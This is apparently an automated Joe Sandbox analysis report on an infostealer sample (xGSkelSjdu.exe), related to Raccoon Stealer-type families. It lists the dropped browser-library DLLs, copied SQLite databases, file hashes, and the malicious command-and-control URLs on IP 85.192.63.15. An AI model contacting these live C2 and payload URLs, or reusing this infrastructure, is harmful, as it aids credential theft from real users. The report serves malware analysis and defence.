Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
xGSkelSjdu.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\LocalLow\freebl3.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\mozglue.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\nss3.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\softokn3.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\vcruntime140.dll	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.0.xGSkelSjdu.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1311194	Download File
0.3.xGSkelSjdu.exe.2080000.0.unpack	100%	Avira	HEUR/AGEN.1316144	Download File
0.2.xGSkelSjdu.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1311205	Download File
3.2.AppLaunch.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1316207	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://mozilla.org0	0%	URL Reputation	safe
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41d7hL2vK/nss3.dll	0%	Avira URL Cloud	safe
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41dW	0%	Avira URL Cloud	safe
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41d7hL2vK/nss3.dllG	0%	Avira URL Cloud	safe
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41d&	0%	Avira URL Cloud	safe
http://85.192.63.15/min	0%	Avira URL Cloud	safe
http://85.192.63.15/lesO	0%	Avira URL Cloud	safe
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41dT	0%	Avira URL Cloud	safe
http://85.192.63.15/CO	0%	Avira URL Cloud	safe
http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR	0%	Avira URL Cloud	safe
http://85.192.63.15/	0%	Avira URL Cloud	safe
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41d	0%	Avira URL Cloud	safe
http://85.192.63.15/C:	0%	Avira URL Cloud	safe
http://85.192.63.15/G	0%	Avira URL Cloud	safe
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41ds	0%	Avira URL Cloud	safe
http://85.192.63	0%	Avira URL Cloud	safe
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41du	0%	Avira URL Cloud	safe
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41d1	0%	Avira URL Cloud	safe
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41dj	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://85.192.63.15/	true	Avira URL Cloud: safe	unknown
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41d	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41d&	AppLaunch.exe, 00000003.00000003.260451268.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260808032.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260312599.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258788407.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259167015.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260947982.0000000005197000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	AppLaunch.exe, 00000003.00000003.258741532.000000000855F000.00000004.00000020.00020000.00000000.sdmp, mJVvJ7y1Ogj5.3.dr, 2Ct4F3Eh364b.3.dr	false		high
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.3.dr	false		high
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41d7hL2vK/nss3.dll	AppLaunch.exe, 00000003.00000003.258318335.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.000000000516B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258788407.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258142692.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.000000000516B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	2Ct4F3Eh364b.3.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	AppLaunch.exe, 00000003.00000003.258741532.000000000855F000.00000004.00000020.00020000.00000000.sdmp, mJVvJ7y1Ogj5.3.dr, 2Ct4F3Eh364b.3.dr	false		high
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41d7hL2vK/nss3.dllG	AppLaunch.exe, 00000003.00000003.260135623.000000000516D000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260623520.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260242541.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.000000000516B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.261099694.000000000516E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://notepad-plus-plus.org/0	xGSkelSjdu.exe	false		high
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41dW	AppLaunch.exe, 00000003.00000003.260451268.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260808032.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260312599.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258788407.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259167015.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260947982.0000000005197000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com?fr=crmas_sfpf	AppLaunch.exe, 00000003.00000003.258741532.000000000855F000.00000004.00000020.00020000.00000000.sdmp, mJVvJ7y1Ogj5.3.dr, 2Ct4F3Eh364b.3.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	2Ct4F3Eh364b.3.dr	false		high
http://85.192.63.15/min	AppLaunch.exe, 00000003.00000003.238036948.000000000514F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.247223736.000000000516B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	AppLaunch.exe, 00000003.00000003.258741532.000000000855F000.00000004.00000020.00020000.00000000.sdmp, mJVvJ7y1Ogj5.3.dr, 2Ct4F3Eh364b.3.dr	false		high
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41dT	AppLaunch.exe, 00000003.00000003.259480810.0000000005171000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	AppLaunch.exe, 00000003.00000003.258741532.000000000855F000.00000004.00000020.00020000.00000000.sdmp, mJVvJ7y1Ogj5.3.dr, 2Ct4F3Eh364b.3.dr	false		high
http://85.192.63.15/lesO	AppLaunch.exe, 00000003.00000003.238036948.000000000514F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.192.63.15/CO	AppLaunch.exe, 00000003.00000003.238036948.000000000514F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.247223736.000000000516B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR	AppLaunch.exe, 00000003.00000003.260623520.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260986268.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260947982.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258142692.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260586925.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260451268.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260354640.0000000005190000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.192.63.15/C:	AppLaunch.exe, 00000003.00000003.238036948.000000000514F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	2Ct4F3Eh364b.3.dr	false		high
https://search.yahoo.com?fr=crmas_sfp	AppLaunch.exe, 00000003.00000003.258741532.000000000855F000.00000004.00000020.00020000.00000000.sdmp, mJVvJ7y1Ogj5.3.dr, 2Ct4F3Eh364b.3.dr	false		high
http://85.192.63	AppLaunch.exe, 00000003.00000003.257945990.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257444328.0000000005166000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://85.192.63.15/G	AppLaunch.exe, 00000003.00000003.238036948.000000000514F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.238105258.000000000516E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41ds	AppLaunch.exe, 00000003.00000003.259480810.0000000005158000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41du	AppLaunch.exe, 00000003.00000003.260451268.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260808032.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260312599.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258788407.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259167015.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260947982.0000000005197000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41d1	AppLaunch.exe, 00000003.00000003.258318335.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005197000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	2Ct4F3Eh364b.3.dr	false		high
https://mozilla.org0	softokn3.dll.3.dr, freebl3.dll.3.dr, mozglue.dll.3.dr, nss3.dll.3.dr	false	URL Reputation: safe	unknown
http://85.192.63.15/739b32bcadfc7ce757042211b13fe41dj	AppLaunch.exe, 00000003.00000003.257945990.000000000515F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	sqlite3.dll.3.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
85.192.63.15	unknown	Russian Federation		47711	LINEGROUP-ASRU	true

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	854903
Start date and time:	2023-04-27 07:41:03 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	xGSkelSjdu.exe
Original Sample Name:	2b2aeaef6cd3a1df47c938fc4f92a12a.bin.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@6/11@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.4% (good quality ratio 95.5%) Quality average: 81.4% Quality standard deviation: 25.6%
HCA Information:	Successful, ratio: 97% Number of executed functions: 52 Number of non-executed functions: 68
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Excluded IPs from analysis (whitelisted): 23.0.174.96, 23.0.174.98, 23.0.174.90, 23.0.174.83, 23.0.174.91, 23.0.174.97, 23.0.174.88, 23.0.174.81, 23.0.174.82
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, e86303.dscx.akamaiedge.net, www.bing.com.edgekey.net, www-www.bing.com.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LINEGROUP-ASRU	ImBetter.exe	Get hash	malicious	Unknown	Browse	85.192.63.32
	B94872E1A7599AF25CAA25013FC0054E5AFFDA6CFAEF6.dll	Get hash	malicious	Raccoon Stealer v2	Browse	85.192.63.204
	B94872E1A7599AF25CAA25013FC0054E5AFFDA6CFAEF6.dll	Get hash	malicious	Raccoon Stealer v2	Browse	85.192.63.204
	DxIQxeHMa9.exe	Get hash	malicious	Amadey, Laplas Clipper	Browse	85.192.63.121
	Tn4ashLbYc.exe	Get hash	malicious	Aurora	Browse	85.192.63.77
	BkazCbNYxo.exe	Get hash	malicious	Aurora, AgentTesla, Amadey, Eternity Stealer	Browse	85.192.63.77
	oOb5C7arAh.dll	Get hash	malicious	Amadey, Raccoon Stealer v2, RedLine	Browse	85.192.63.204
	c96cf2857a6044e9149ab0d55c3dfe280cefe8add4791.dll	Get hash	malicious	Amadey, Raccoon Stealer v2, RedLine	Browse	85.192.63.121
	59d84ed47893f3f3b3a3e121ffbcfa0b86bdb91431a7c.exe	Get hash	malicious	Amadey	Browse	85.192.63.121
	evb.exe	Get hash	malicious	Unknown	Browse	85.192.63.103
	file.exe	Get hash	malicious	RedLine	Browse	85.192.63.57
	yW7mLzcc7I.exe	Get hash	malicious	Unknown	Browse	85.192.63.240
	zaebr2KFu1.exe	Get hash	malicious	Unknown	Browse	85.192.63.240
	6UehABuMnu.exe	Get hash	malicious	Unknown	Browse	85.192.63.240
	N3gA1d2efb.exe	Get hash	malicious	Eternity Stealer	Browse	85.192.63.240
	ZdxTUeilBE.exe	Get hash	malicious	Unknown	Browse	85.192.63.240
	41y5zVipKH.exe	Get hash	malicious	Unknown	Browse	85.192.63.240
	HMY5HSIYYs.exe	Get hash	malicious	Unknown	Browse	85.192.63.240
	FsAkJLRMJu.exe	Get hash	malicious	RedLine, SmokeLoader, Tofsee	Browse	85.192.63.114
	hblHDyR2NT.exe	Get hash	malicious	Raccoon Stealer v2, RedLine, SmokeLoader, Vidar	Browse	85.192.63.114

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\LocalLow\freebl3.dll	SSDaBVpIs8.exe	Get hash	malicious	Amadey, Djvu, Fabookie, Raccoon Stealer v2, SmokeLoader, Vidar	Browse
	6r6BNKRw4s.exe	Get hash	malicious	Amadey, Djvu, Fabookie, Raccoon Stealer v2, SmokeLoader, Vidar	Browse
	WR8xbAcvRi.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	SetupFile-trimmed.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	-Setup1_patched.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	31nvsGTM9p.exe	Get hash	malicious	Amadey, Djvu, Fabookie, Raccoon Stealer v2, SmokeLoader	Browse
	setup_depumped.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	Setup_patched.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	Setup_File_patched.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	kRBgqyncSc.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	EV1vyIGvEu.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	7h1JDmK6OO.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	Full_Setup.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	17D3rEKcsA.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	fixed_raccoon.bin.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	XF1mKs1Xuq.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	Satups_patched.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	fy2f6fPGrk.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	Laucnher-S0FT-PC-2023.exe	Get hash	malicious	Raccoon Stealer v2, Xmrig	Browse
	4SN77oNCxV.exe	Get hash	malicious	Raccoon Stealer v2	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\2Ct4F3Eh364b

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 4, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2882898331044472
Encrypted:	false
SSDEEP:	192:go1/8dpUXbSzTPJPn6UVuUhoEwn7PrH944:gS/inPvVuUhoEwn7b944
MD5:	4822E6A71C88A4AB8A27F90192B5A3B3
SHA1:	CC07E541426BFF64981CE6DE7D879306C716B6B9
SHA-256:	A6E2CCBD736E5892E658020543F4DF20BB422253CAC06B37398AA4935987446E
SHA-512:	C4FCA0DBC8A6B00383B593046E30C5754D570AA2009D4E26460833FB1394D348776400174C898701F621C305F53DC03C1B42CF76AA5DC33D5CCD8FA44935B03C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\M0A0f5Qy50dW

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 17, database pages 7, 1st free page 5, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	1.4755077381471955
Encrypted:	false
SSDEEP:	96:oesz0Rwhba5DX1tHQOd0AS4mcAMmgAU7MxTWbKSS:o+RwE55tHQOKB4mcmgAU7MxTWbNS
MD5:	DEE86123FE48584BA0CE07793E703560
SHA1:	E80D87A2E55A95BC937AC24525E51AE39D635EF7
SHA-256:	60DB12643ECF5B13E6F05E0FBC7E0453D073E0929412E39428D431DB715122C8
SHA-512:	65649B808C7AB01A65D18BF259BF98A4E395B091D17E49849573275B7B93238C3C9D1E5592B340ABCE3195F183943CA8FB18C1C6C2B5974B04FE99FCCF582BFB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\WO67rcUVSGXh

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	684984
Entropy (8bit):	6.857030838615762
Encrypted:	false
SSDEEP:	12288:0oUg2twzqWC4kBNv1pMByWk6TYnhCevOEH07OqHM65BaFBuY3NUNeCLIV/Rqnhab:0oUg2tJWC44WUuY3mMCLA/R+hw
MD5:	15B61E4A910C172B25FB7D8CCB92F754
SHA1:	5D9E319C7D47EB6D31AAED27707FE27A1665031C
SHA-256:	B2AE93D30C8BEB0B26F03D4A8325AC89B92A299E8F853E5CAA51BB32575B06C6
SHA-512:	7C1C982A2B597B665F45024A42E343A0A07A6167F77EE428A203F23BE94B5F225E22A270D1A41B655F3173369F27991770722D765774627229B6B1BBE2A6DC3F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SSDaBVpIs8.exe, Detection: malicious, Browse Filename: 6r6BNKRw4s.exe, Detection: malicious, Browse Filename: WR8xbAcvRi.exe, Detection: malicious, Browse Filename: SetupFile-trimmed.exe, Detection: malicious, Browse Filename: -Setup1_patched.exe, Detection: malicious, Browse Filename: 31nvsGTM9p.exe, Detection: malicious, Browse Filename: setup_depumped.exe, Detection: malicious, Browse Filename: Setup_patched.exe, Detection: malicious, Browse Filename: Setup_File_patched.exe, Detection: malicious, Browse Filename: kRBgqyncSc.exe, Detection: malicious, Browse Filename: EV1vyIGvEu.exe, Detection: malicious, Browse Filename: 7h1JDmK6OO.exe, Detection: malicious, Browse Filename: Full_Setup.exe, Detection: malicious, Browse Filename: 17D3rEKcsA.exe, Detection: malicious, Browse Filename: fixed_raccoon.bin.exe, Detection: malicious, Browse Filename: XF1mKs1Xuq.exe, Detection: malicious, Browse Filename: Satups_patched.exe, Detection: malicious, Browse Filename: fy2f6fPGrk.exe, Detection: malicious, Browse Filename: Laucnher-S0FT-PC-2023.exe, Detection: malicious, Browse Filename: 4SN77oNCxV.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...&.9b.........."!.........6...........................................................@A........................4,..S....,..........x............T..........8$...&...............................0..................D............................text............................... ..`.rdata.......0......................@..@.data...<F...@.......&..............@....00cfg...............(..............@..@.rsrc...x............*..............@..@.reloc..8$.......&..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\mJVvJ7y1Ogj5

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 4, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2882898331044472
Encrypted:	false
SSDEEP:	192:go1/8dpUXbSzTPJPn6UVuUhoEwn7PrH944:gS/inPvVuUhoEwn7b944
MD5:	4822E6A71C88A4AB8A27F90192B5A3B3
SHA1:	CC07E541426BFF64981CE6DE7D879306C716B6B9
SHA-256:	A6E2CCBD736E5892E658020543F4DF20BB422253CAC06B37398AA4935987446E
SHA-512:	C4FCA0DBC8A6B00383B593046E30C5754D570AA2009D4E26460833FB1394D348776400174C898701F621C305F53DC03C1B42CF76AA5DC33D5CCD8FA44935B03C
Malicious:	false
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	627128
Entropy (8bit):	6.792651884784197
Encrypted:	false
SSDEEP:	12288:dfsiG5KNZea77VUHQqROmbIDm0ICRfCtbtEE/2OH9E2ARlZYSd:df53NZea3V+QqROmum0nRKx79E2ARlrd
MD5:	F07D9977430E762B563EAADC2B94BBFA
SHA1:	DA0A05B2B8D269FB73558DFCF0ED5C167F6D3877
SHA-256:	4191FAF7E5EB105A0F4C5C6ED3E9E9C71014E8AA39BBEE313BC92D1411E9E862
SHA-512:	6AFD512E4099643BBA3FC7700DD72744156B78B7BDA10263BA1F8571D1E282133A433215A9222A7799F9824F244A2BC80C2816A62DE1497017A4B26D562B7EAF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....9b.........."!.........V......./....................................................@A............................cQ......,....p...............r..........4C...........................W......h0...............................................text............................... ..`.rdata.......0......................@..@.data........0......................@....00cfg.......P....... ..............@..@.tls.........`......."..............@....rsrc........p.......$..............@..@.reloc..4C.......D..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	449280
Entropy (8bit):	6.670243582402913
Encrypted:	false
SSDEEP:	12288:UEPa9C9VbL+3Omy5CvyOvzeOKaqhUgiW6QR7t5s03Ooc8dHkC2esGgW8g:UEPa90Vbky5CvyUeOKg03Ooc8dHkC2ed
MD5:	1FB93933FD087215A3C7B0800E6BB703
SHA1:	A78232C352ED06CEDD7CA5CD5CB60E61EF8D86FB
SHA-256:	2DB7FD3C9C3C4B67F2D50A5A50E8C69154DC859780DD487C28A4E6ED1AF90D01
SHA-512:	79CD448E44B5607863B3CD0F9C8E1310F7E340559495589C428A24A4AC49BEB06502D787824097BB959A1C9CB80672630DAC19A405468A0B64DB5EBD6493590E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L....(.[.........."!.....(..........`........@............................................@A.........................g.......r...........................?.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2042296
Entropy (8bit):	6.775178510549486
Encrypted:	false
